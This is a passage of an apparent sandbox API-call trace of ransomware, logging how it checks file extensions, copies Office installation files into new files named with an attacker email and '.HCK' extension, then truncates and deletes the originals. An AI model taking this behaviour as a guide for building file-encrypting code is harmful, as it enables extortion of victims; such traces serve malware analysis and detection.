dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0233.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0233.078] lstrlenW (lpString=".doc") returned 4 [0233.078] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.078] lstrlenW (lpString=".docx") returned 5 [0233.078] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0233.078] lstrlenW (lpString=".pdf") returned 4 [0233.078] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.078] lstrlenW (lpString=".xls") returned 4 [0233.078] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.079] lstrlenW (lpString=".xlsx") returned 5 [0233.079] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0233.079] lstrlenW (lpString=".ppt") returned 4 [0233.079] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0233.079] lstrlenW (lpString=".zip") returned 4 [0233.079] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.079] lstrlenW (lpString=".rar") returned 4 [0233.079] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.079] lstrlenW (lpString=".bz2") returned 4 [0233.079] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.079] lstrlenW (lpString=".7z") returned 3 [0233.079] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0233.079] lstrlenW (lpString=".dbf") returned 4 [0233.079] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0233.079] lstrlenW (lpString=".1cd") returned 4 [0233.079] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0233.079] lstrlenW (lpString=".jpg") returned 4 [0233.079] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0233.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0233.079] lstrlenW (lpString=".doc") returned 4 [0233.079] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.079] lstrlenW (lpString=".docx") returned 5 [0233.079] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0233.079] lstrlenW (lpString=".pdf") returned 4 [0233.079] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.079] lstrlenW (lpString=".xls") returned 4 [0233.079] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.079] lstrlenW (lpString=".xlsx") returned 5 [0233.079] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0233.079] lstrlenW (lpString=".ppt") returned 4 [0233.079] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0233.079] lstrlenW (lpString=".zip") returned 4 [0233.079] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.079] lstrlenW (lpString=".rar") returned 4 [0233.079] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.080] lstrlenW (lpString=".bz2") returned 4 [0233.080] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.080] lstrlenW (lpString=".7z") returned 3 [0233.080] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0233.080] lstrlenW (lpString=".dbf") returned 4 [0233.080] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0233.080] lstrlenW (lpString=".1cd") returned 4 [0233.080] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0233.080] lstrlenW (lpString=".jpg") returned 4 [0233.080] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.080] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0233.080] lstrlenW (lpString="msvcr120.dll") returned 12 [0233.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0233.081] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=968880) returned 1 [0233.081] CloseHandle (hObject=0x4b0) returned 1 [0233.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll")) returned 0x220 [0233.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0233.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0233.081] lstrlenW (lpString=".doc") returned 4 [0233.081] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.082] lstrlenW (lpString=".docx") returned 5 [0233.082] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0233.082] lstrlenW (lpString=".pdf") returned 4 [0233.082] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.082] lstrlenW (lpString=".xls") returned 4 [0233.082] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.082] lstrlenW (lpString=".xlsx") returned 5 [0233.082] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0233.082] lstrlenW (lpString=".ppt") returned 4 [0233.082] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0233.082] lstrlenW (lpString=".zip") returned 4 [0233.082] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.082] lstrlenW (lpString=".rar") returned 4 [0233.082] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.082] lstrlenW (lpString=".bz2") returned 4 [0233.082] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.082] lstrlenW (lpString=".7z") returned 3 [0233.082] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0233.082] lstrlenW (lpString=".dbf") returned 4 [0233.082] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0233.082] lstrlenW (lpString=".1cd") returned 4 [0233.082] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0233.082] lstrlenW (lpString=".jpg") returned 4 [0233.082] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0233.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0233.082] lstrlenW (lpString=".doc") returned 4 [0233.082] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.082] lstrlenW (lpString=".docx") returned 5 [0233.082] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0233.082] lstrlenW (lpString=".pdf") returned 4 [0233.082] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.082] lstrlenW (lpString=".xls") returned 4 [0233.082] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.082] lstrlenW (lpString=".xlsx") returned 5 [0233.082] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0233.082] lstrlenW (lpString=".ppt") returned 4 [0233.082] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0233.083] lstrlenW (lpString=".zip") returned 4 [0233.083] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.083] lstrlenW (lpString=".rar") returned 4 [0233.083] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.083] lstrlenW (lpString=".bz2") returned 4 [0233.083] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.083] lstrlenW (lpString=".7z") returned 3 [0233.083] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0233.083] lstrlenW (lpString=".dbf") returned 4 [0233.083] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0233.083] lstrlenW (lpString=".1cd") returned 4 [0233.083] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0233.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0233.083] lstrlenW (lpString=".jpg") returned 4 [0233.083] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0233.083] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0233.083] lstrlenW (lpString="ucrtbase.dll") returned 12 [0233.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0233.084] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=900288) returned 1 [0233.084] CloseHandle (hObject=0x4b0) returned 1 [0233.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll")) returned 0x220 [0233.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0233.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0233.085] lstrlenW (lpString=".doc") returned 4 [0233.085] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0233.085] lstrlenW (lpString=".docx") returned 5 [0233.085] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0233.085] lstrlenW (lpString=".pdf") returned 4 [0233.085] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0233.085] lstrlenW (lpString=".xls") returned 4 [0233.085] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0233.085] lstrlenW (lpString=".xlsx") returned 5 [0233.085] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0233.085] lstrlenW (lpString=".ppt") returned 4 [0233.085] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0233.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0233.085] lstrlenW (lpString=".zip") returned 4 [0233.085] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0233.085] lstrlenW (lpString=".rar") returned 4 [0233.085] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0233.085] lstrlenW (lpString=".bz2") returned 4 [0233.085] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0233.085] lstrlenW (lpString=".7z") returned 3 [0233.085] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0233.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0233.085] lstrlenW (lpString=".dbf") returned 4 [0233.085] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0233.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0233.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0233.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0233.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0233.094] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.094] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0233.097] GetLastError () returned 0x0 [0233.097] ReadFile (in: hFile=0x49c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0xfa976, lpOverlapped=0x0) returned 1 [0233.271] WriteFile (in: hFile=0x4a0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xfa980, lpOverlapped=0x0) returned 1 [0233.282] ReadFile (in: hFile=0x49c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.283] WriteFile (in: hFile=0x4a0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x10c, lpOverlapped=0x0) returned 1 [0233.283] SetEndOfFile (hFile=0x4a0) returned 1 [0233.283] CloseHandle (hObject=0x4a0) returned 1 [0233.283] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.283] SetEndOfFile (hFile=0x49c) returned 1 [0233.368] CloseHandle (hObject=0x49c) returned 1 [0233.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 1 [0233.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0233.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0233.652] lstrlenW (lpString=".doc") returned 4 [0233.652] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0233.652] lstrlenW (lpString=".docx") returned 5 [0233.652] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0233.652] lstrlenW (lpString=".pdf") returned 4 [0233.652] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0233.652] lstrlenW (lpString=".xls") returned 4 [0233.652] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0233.652] lstrlenW (lpString=".xlsx") returned 5 [0233.652] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0233.652] lstrlenW (lpString=".ppt") returned 4 [0233.652] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0233.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0233.652] lstrlenW (lpString=".zip") returned 4 [0233.652] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0233.652] lstrlenW (lpString=".rar") returned 4 [0233.652] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0233.652] lstrlenW (lpString=".bz2") returned 4 [0233.652] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0233.652] lstrlenW (lpString=".7z") returned 3 [0233.652] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0233.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0233.652] lstrlenW (lpString=".dbf") returned 4 [0233.652] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0233.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0233.652] lstrlenW (lpString=".1cd") returned 4 [0233.652] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0233.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0233.652] lstrlenW (lpString=".jpg") returned 4 [0233.652] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0233.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0233.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0233.652] lstrlenW (lpString=".doc") returned 4 [0233.652] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0233.653] lstrlenW (lpString=".docx") returned 5 [0233.653] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0233.653] lstrlenW (lpString=".pdf") returned 4 [0233.653] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0233.653] lstrlenW (lpString=".xls") returned 4 [0233.653] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0233.653] lstrlenW (lpString=".xlsx") returned 5 [0233.653] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0233.653] lstrlenW (lpString=".ppt") returned 4 [0233.653] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0233.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0233.653] lstrlenW (lpString=".zip") returned 4 [0233.653] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0233.653] lstrlenW (lpString=".rar") returned 4 [0233.653] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0233.653] lstrlenW (lpString=".bz2") returned 4 [0233.653] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0233.653] lstrlenW (lpString=".7z") returned 3 [0233.653] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0233.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0233.653] lstrlenW (lpString=".dbf") returned 4 [0233.653] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0233.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0233.653] lstrlenW (lpString=".1cd") returned 4 [0233.653] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0233.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0233.653] lstrlenW (lpString=".jpg") returned 4 [0233.653] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0233.653] lstrcmpiW (lpString1=".msu", lpString2=".HCK") returned 1 [0233.653] lstrlenW (lpString="Windows8.1-KB2999226-x64.msu") returned 28 [0233.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0234.058] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=994589) returned 1 [0234.058] CloseHandle (hObject=0x4ac) returned 1 [0234.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 0x220 [0234.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0234.065] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.065] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0234.066] GetLastError () returned 0x0 [0234.066] ReadFile (in: hFile=0x3c4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0xf2d1d, lpOverlapped=0x0) returned 1 [0234.483] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xf2d20, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf2d20, lpOverlapped=0x0) returned 1 [0234.494] ReadFile (in: hFile=0x3c4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.494] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x10c, lpOverlapped=0x0) returned 1 [0234.495] SetEndOfFile (hFile=0x4d4) returned 1 [0234.495] CloseHandle (hObject=0x4d4) returned 1 [0234.495] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.495] SetEndOfFile (hFile=0x3c4) returned 1 [0234.913] CloseHandle (hObject=0x3c4) returned 1 [0234.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 